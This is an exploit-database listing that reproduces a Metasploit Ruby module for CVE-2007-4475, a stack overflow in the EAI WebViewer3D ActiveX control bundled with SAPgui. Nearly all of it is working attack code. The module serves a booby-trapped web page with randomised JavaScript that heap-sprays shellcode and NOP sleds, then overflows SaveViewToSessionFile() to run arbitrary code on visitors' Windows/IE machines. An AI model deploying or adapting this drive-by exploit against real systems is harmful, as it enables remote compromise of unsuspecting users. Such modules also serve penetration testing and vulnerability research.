SAP AG SAPgui EAI WebViewer3D Buffer Overflow

2009-11-26T00:00:00
ID PACKETSTORM:82972
Type packetstorm
Reporter MC
Modified 2009-11-26T00:00:00

Description

                                        
                                            `###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SAP AG SAPgui EAI WebViewer3D Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Siemens Unigraphics Solutions  
Teamcenter Visualization EAI WebViewer3D ActiveX control that is bundled  
with SAPgui. When passing an overly long string the SaveViewToSessionFile()  
method, arbitrary code may be executed.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-4475' ],  
[ 'OSVDB', '53066' ],  
[ 'US-CERT-VU','985449' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]   
],  
'DisclosureDate' => 'Mar 31 2009',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Create some nops.   
nops = Rex::Text.to_unescape(make_nops(4))  
  
# Set the return.  
ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)  
  
# Randomize the javascript variable names.  
vname = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(30) + 2)  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
rand8 = rand_text_alpha(rand(100) + 1)  
  
content = %Q|  
<html>  
<object id='#{vname}' classid='clsid:AFBBE070-7340-11D2-AA6B-00E02924C34E'></object>  
<script language="JavaScript">  
var #{rand1} = unescape('#{shellcode}');  
var #{rand2} = unescape('#{nops}');  
var #{rand3} = 20;  
var #{rand4} = #{rand3} + #{rand1}.length;  
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};  
var #{rand5} = #{rand2}.substring(0,#{rand4});  
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});  
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};  
var #{rand7} = new Array();  
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }  
var #{rand8} = "";  
for (#{var_i} = 0; #{var_i} < 12500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }  
#{vname}.SaveViewToSessionFile(#{rand8});  
</script>  
</html>  
|  
  
content = Rex::Text.randomize_space(content)  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`